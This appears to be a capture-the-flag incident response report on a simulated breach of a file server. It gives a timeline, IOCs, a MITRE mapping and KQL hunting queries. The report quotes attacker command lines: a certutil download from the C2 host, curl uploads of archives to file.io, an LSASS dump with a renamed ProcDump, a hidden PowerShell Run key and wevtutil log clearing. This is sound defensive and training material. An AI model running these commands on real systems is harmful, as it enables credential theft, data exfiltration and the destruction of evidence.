

INCIDENT RESPONSE REPORT

Azuki Import/Export — File Server Breach (CTF 2)

CONFIDENTIAL — RESTRICTED DISTRIBUTION

Field	Details
Date of Report	2025-11-22
Severity Level	CRITICAL
Report Status	Contained
Escalated To	CISO / Senior IR Team
Incident ID	INC-2025-1122-002
Related Incident	INC-2025-1120-001 (CTF 1 — Initial Compromise)
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SUMMARY OF FINDINGS

- Attacker returned ~72 hours after initial compromise (Nov 19) using a new IP (159.26.106.98) and laterally moved to the file server azuki-fileserver01 using RDP with the compromised fileadmin account
- The attacker staged malware in a hidden directory (C:\Windows\Logs\CBS), downloaded a PowerShell script via certutil.exe from the C2 server, and established registry-based persistence
- Sensitive file shares (Contracts, Financial, IT-Admin, Shipping) were recursively copied and compressed using tar.exe, then exfiltrated to file.io via curl.exe
- A renamed credential dumping tool (pd.exe / ProcDump) was used to extract LSASS memory, and the resulting dump was also exfiltrated externally
- PowerShell command history was deleted and Windows event logs were cleared to destroy forensic evidence

WHO, WHAT, WHEN, WHERE, WHY, HOW

WHO

Attacker Return IP: 159.26.106.98 (different from CTF 1 entry IP 88.97.178.12 — rotated infrastructure)

C2 Server: 78.141.196.6 (same as CTF 1, ports 7331 and 8880)

Compromised Account: fileadmin (local administrator on azuki-fileserver01)

Beachhead: azuki-sl (IT admin workstation — compromised in CTF 1)

Target Host: azuki-fileserver01

WHAT

- Return RDP connection from new IP 159.26.106.98 to azuki-sl
- Lateral movement via mstsc.exe from azuki-sl to azuki-fileserver01 using fileadmin credentials

- Discovery: share enumeration (net share, net view), privilege check (whoami /all), network config (ipconfig /all), ARP scan
- Staging directory C:\Windows\Logs\CBS created and hidden using attrib +h +s
- PowerShell script ex.ps1 downloaded from C2 via certutil.exe -urlcache
- File shares recursively copied to staging directory using xcopy.exe
- Data compressed using tar.exe into .tar.gz archives
- Credentials dumped from LSASS using renamed pd.exe (ProcDump) with -ma flag
- All archives exfiltrated to file.io using curl.exe
- Registry Run key 'FileShareSync' added for persistence pointing to svchost.ps1
- curl.exe used as C2 beacon to 78.141.196.6:8880
- PowerShell history file (ConsoleHost_history.txt) deleted
- Windows event logs (Security, System, Application, PowerShell) wiped

WHEN

Time (UTC)	Event
Nov 19, 2025	Initial compromise of azuki-sl via RDP (CTF 1)
Nov 22, 2025 ~5:40 AM	Attacker returns from 159.26.106.98 to azuki-sl
Nov 22, 2025 ~5:49 AM	RDP lateral movement to azuki-fileserver01 as fileadmin
Nov 22, 2025 6:10 AM	Discovery: net share, net view, whoami /all, ipconfig /all, ARP
Nov 22, 2025 6:25 AM	Staging directory hidden: attrib +h +s C:\Windows\Logs\CBS
Nov 22, 2025 6:26 AM	certutil.exe downloads ex.ps1 from 78.141.196.6:7331
Nov 22, 2025 6:33 AM	ex.ps1 executed via PowerShell -ExecutionPolicy Bypass
Nov 22, 2025 6:35 AM	xcopy.exe stages Contracts, Financial, IT-Admin, Shipping shares
Nov 22, 2025 6:37 AM	IT-Admin-Passwords.csv discovered in IT-Admin share
Nov 22, 2025 6:57 AM	tar.exe version check — attacker confirms tool availability
Nov 22, 2025 6:58 AM	tar.exe compresses financial and credentials data
Nov 22, 2025 7:11 AM	tar.exe compresses shipping data
Nov 22, 2025 7:29 AM	curl.exe exfiltrates credentials.tar.gz, financial.tar.gz to file.io
Nov 22, 2025 7:30 AM	curl.exe exfiltrates contracts.zip, shipping.tar.gz to file.io
Nov 22, 2025 7:34 AM	Encoded PowerShell downloads svchost.ps1 from C2:8080
Nov 22, 2025 7:40 AM	Registry Run key FileShareSync added for persistence
Nov 22, 2025 7:41 AM	C2 beacon established via curl.exe to 78.141.196.6:8880
Nov 22, 2025 7:54 AM	pd.exe dumps LSASS to lsass.dmp
Nov 22, 2025 7:55 AM	lsass.dmp exfiltrated to file.io
Nov 22, 2025 7:55 AM	Event logs cleared (Security, System, Application, PowerShell, SMB)
Nov 22, 2025 7:41 AM+	Periodic C2 beacons continue every ~3 minutes

WHERE

Beachhead: azuki-sl (IT Admin Workstation — previously compromised)

Primary Target: azuki-fileserver01

Attacker Return IP: 159.26.106.98

C2 Server: 78.141.196.6 (port 7331 payload, port 8080 payload, port 8880 C2 beacon)

Staging Directory: C:\Windows\Logs\CBS (hidden)

Credential Tool: C:\Windows\Logs\CBS\pd.exe

Persistence Script: C:\Windows\System32\svchost.ps1

Exfil Destination: <https://file.io>

Data Stolen From: C:\FileShares\Contracts, Financial, IT-Admin, Shipping

WHY

Root Cause: Credentials for fileadmin account were available on azuki-sl (likely harvested in CTF 1 via Mimikatz). No MFA on RDP. Attacker rotated IP to evade detection.

Attacker Objective: Expanded corporate espionage — collection of all file shares including contracts, financials, shipping data, and IT admin credentials for further access

HOW — Attack Chain

1. Returned to azuki-sl using rotated IP 159.26.106.98 via RDP
2. Used previously stolen fileadmin credentials to RDP into azuki-fileserver01
3. Ran discovery commands: net share, net view, whoami /all, ipconfig /all, ARP -a
4. Created and hid staging directory C:\Windows\Logs\CBS using attrib +h +s
5. Downloaded ex.ps1 from C2 (78.141.196.6:7331) via certutil -urlcache
6. Executed ex.ps1 with PowerShell -ExecutionPolicy Bypass
7. Recursively copied all file shares to staging using xcopy /E /I /H /Y
8. Discovered IT-Admin-Passwords.csv in the IT-Admin share
9. Compressed staged data into .tar.gz archives using tar.exe
10. Exfiltrated all archives to file.io using curl -F file=@
11. Downloaded svchost.ps1 beacon from C2:8080 via encoded PowerShell
12. Added HKLM Run key 'FileShareSync' pointing to svchost.ps1 for persistence
13. Established C2 beacon using curl to 78.141.196.6:8880/api/beacon
14. Dumped LSASS memory to lsass.dmp using pd.exe -accepteula -ma
15. Exfiltrated lsass.dmp to file.io
16. Deleted ConsoleHost_history.txt to remove PowerShell command history
17. Cleared Security, System, Application, PowerShell, and SMB event logs

IMPACT ASSESSMENT

- ALL file shares exfiltrated — Contracts, Financial, IT-Admin, and Shipping data confirmed stolen
- IT-Admin-Passwords.csv stolen — all credentials in this file must be treated as compromised
- LSASS memory dump exfiltrated — all accounts that had cached credentials on azuki-fileserver01 are compromised

- Active persistence via registry Run key and svchost.ps1 — attacker retains access on reboot
- Active C2 beacon running — attacker has ongoing remote control of azuki-fileserver01
- All event logs wiped + PowerShell history deleted — significant forensic evidence destroyed

Risk Level: CRITICAL

RECOMMENDATIONS

IMMEDIATE

- Isolate azuki-fileserver01 from network immediately
- Isolate azuki-sl — it remains a persistence point from CTF 1
- Block 159.26.106.98 and 78.141.196.6 at firewall (all ports)
- Delete registry Run key HKLM\Software\Microsoft\Windows\CurrentVersion\Run\FileShareSync
- Delete C:\Windows\System32\svchost.ps1 and C:\Windows\Logs\CBS directory
- Reset ALL passwords for accounts in IT-Admin-Passwords.csv immediately
- Reset fileadmin password and audit all its usage across the environment

SHORT-TERM (1-7 Days)

- Enforce MFA on all RDP access across the entire environment
- Hunt across all endpoints for svchost.ps1, pd.exe, ex.ps1, FileShareSync registry key
- Review file.io traffic in proxy/firewall logs to identify any other exfiltration events
- Audit all local admin accounts on all servers — remove unnecessary accounts
- Check 78.141.196.6:8880 beacon pattern in network logs for any other compromised hosts
- Restrict certutil.exe and curl.exe usage via AppLocker or WDAC policy

LONG-TERM

- Implement network segmentation — file servers should not be directly RDP-accessible from workstations
- Deploy LSASS protection (PPL) across all servers to prevent credential dumping
- Enable Windows Event Log forwarding to SIEM — local log clearing should not destroy all evidence
- Implement DLP controls on file share access — bulk xcopy of entire shares should alert
- Block outbound connections to file-sharing services (file.io, Discord, etc.) at proxy level
- Conduct Purple Team exercise to validate detection coverage for LOLBin abuse

APPENDIX A — Indicators of Compromise

Category	Indicator	Description
Attacker IP	159.26.106.98	Return RDP connection (rotated from CTF 1)

Category	Indicator	Description
C2 Server	78.141.196.6:7331	Payload delivery (ex.ps1)
C2 Server	78.141.196.6:8080	Payload delivery (svchost.ps1)
C2 Server	78.141.196.6:8880	C2 beacon endpoint (/api/beacon, /api/tasks)
Malicious File	ex.ps1	Attack automation script (C:\Windows\Logs\CBS\)
Malicious File	pd.exe	Renamed ProcDump — LSASS credential dumper
Malicious File	svchost.ps1	C2 beacon script (C:\Windows\System32\)
Malicious File	lsass.dmp	LSASS memory dump for offline credential extraction
Malicious Path	C:\Windows\Logs\CBS	Hidden staging directory (+h +s)
Exfil Service	https://file.io	Anonymous file upload used for exfiltration
Exfil File	credentials.tar.gz	Compressed IT-Admin credential data
Exfil File	financial.tar.gz	Compressed financial share data
Exfil File	contracts.zip	Compressed contracts share data
Exfil File	shipping.tar.gz	Compressed shipping share data
Credential File	IT-Admin-Passwords.csv	Plaintext credential file found in IT-Admin share
Registry Key	HKLM\...\Run\FileShareSync	Persistence Run key pointing to svchost.ps1
Account	fileadmin	Compromised local admin account on azuki-fileserver01
Beacon ID	7a85dbef	C2 agent unique identifier in beacon traffic

APPENDIX B — MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Initial Access	Valid Accounts (Return)	T1078	RDP from 159.26.106.98 using fileadmin creds
Lateral Movement	Remote Desktop Protocol	T1021.001	mstsc.exe to azuki-fileserver01
Discovery	Network Share Discovery	T1135	net share, net view \\10.1.0.188
Discovery	System Owner/User Discovery	T1033	whoami.exe /all
Discovery	Network Config Discovery	T1016	ipconfig.exe /all, ARP.EXE -a
Defense Evasion	Hidden Files & Directories	T1564.001	attrib +h +s C:\Windows\Logs\CBS
Defense Evasion	Masquerading	T1036	pd.exe (ProcDump), svchost.ps1
Defense Evasion	Ingress Tool Transfer (LOLBin)	T1105	certutil -urlcache downloads ex.ps1

Tactic	Technique	ID	Evidence
Collection	Automated Collection	T1119	xcopy /E staging all file shares
Collection	Data Staged: Local	T1074.00 1	C:\Windows\Logs\CBS staging directory
Collection	Archive via Utility	T1560.00 1	tar.exe -czf compresses stolen data
Credential Access	LSASS Memory	T1003.00 1	pd.exe -accepteula -ma 876 lsass.dmp
Persistence	Registry Run Keys	T1547.00 1	FileShareSync -> svchost.ps1
C2	Web Protocols	T1071.00 1	curl.exe beacon to 78.141.196.6:8880
Exfiltration	Exfil Over Web Service	T1567	curl -F file=@ to file.io
Anti-Forensics	Clear Windows Event Logs	T1070.00 1	wevtutil cl Security/System/Application/PowerShell/SMB
Anti-Forensics	Clear Command History	T1070.00 3	ConsoleHost_history.txt deleted

APPENDIX C — Investigation Timeline

Time (UTC)	Event	Details
Nov 22 ~5:40 AM	Return connection	159.26.106.98 RDP to azuki-sl
Nov 22 ~5:49 AM	Lateral movement	mstsc.exe → azuki-fileserver01 as fileadmin
Nov 22 6:10 AM	Discovery phase	net share / net view / whoami /all / ipconfig /all / ARP -a
Nov 22 6:25 AM	Defence evasion	attrib +h +s hides C:\Windows\Logs\CBS
Nov 22 6:26 AM	LOLBin download	certutil -urlcache downloads ex.ps1 from C2:7331
Nov 22 6:33 AM	Script execution	powershell -ExecutionPolicy Bypass -File ex.ps1
Nov 22 6:35-6:50 AM	Data collection	xcopy stages Contracts, Financial, IT-Admin, Shipping
Nov 22 6:37 AM	Credential discovery	IT-Admin-Passwords.csv found in IT-Admin share
Nov 22 6:57-7:11 AM	Compression	tar.exe compresses financial, credentials, shipping data
Nov 22 7:29-7:30 AM	Exfiltration	curl uploads 4 archives to file.io
Nov 22 7:34 AM	Encoded payload	PowerShell -Enc downloads svchost.ps1 from C2:8080
Nov 22 7:40 AM	Persistence	reg.exe adds FileShareSync Run key
Nov 22 7:41 AM	C2 beacon start	curl beacons to 78.141.196.6:8880 with agent ID 7a85dbef
Nov 22 7:54 AM	Credential dump	pd.exe -accepteula -ma 876 dumps LSASS
Nov 22 7:55 AM	LSASS exfil	curl uploads lsass.dmp to file.io

Time (UTC)	Event	Details
Nov 22 7:55 AM	Log clearing	wevtutil cl wipes 5 event log channels
Nov 22 7:55+ AM	Ongoing beacons	curl C2 beacons continue every ~3 minutes

APPENDIX D — Key Investigation Queries

Query 1: Identify return RDP connection source

```
DeviceLogonEvents | where DeviceName contains "azuki" | where LogonType ==
"RemoteInteractive" | where TimeGenerated between (datetime(2025-11-22) ..
datetime(2025-11-23)) | project TimeGenerated, DeviceName, AccountName, RemoteIP |
sort by TimeGenerated asc
```

Result: 159.26.106.98 connecting as fileadmin to azuki-fileserver01 at ~5:49 AM

Query 2: Identify LOLBin download abuse

```
DeviceProcessEvents | where FileName == "certutil.exe" | where ProcessCommandLine
contains "urlcache" | project TimeGenerated, AccountName, ProcessCommandLine
```

Result: certutil -urlcache -f http://78.141.196.6:7331/ex.ps1 C:\Windows\Logs\CBS\ex.ps1

Query 3: Identify exfiltration commands

```
DeviceProcessEvents | where FileName == "curl.exe" | where ProcessCommandLine contains
"file.io" | project TimeGenerated, ProcessCommandLine
```

Result: 4 archives + lsass.dmp uploaded to file.io between 7:29-7:55 AM

Query 4: Identify registry persistence

```
DeviceRegistryEvents | where RegistryKey contains "CurrentVersion\\Run" | where
ActionType == "RegistryValueSet" | where RegistryValueName == "FileShareSync" |
project TimeGenerated, RegistryKey, RegistryValueName, RegistryValueData
```

Result: FileShareSync = powershell -NoP -W Hidden -File C:\Windows\System32\svchost.ps1

Query 5: Identify C2 beacon pattern

```
DeviceProcessEvents | where FileName == "curl.exe" | where ProcessCommandLine contains
"8880/api/beacon" | project TimeGenerated, ProcessCommandLine | sort by TimeGenerated
asc
```

Result: Recurring beacon to 78.141.196.6:8880 with agent ID 7a85dbef every ~3 minutes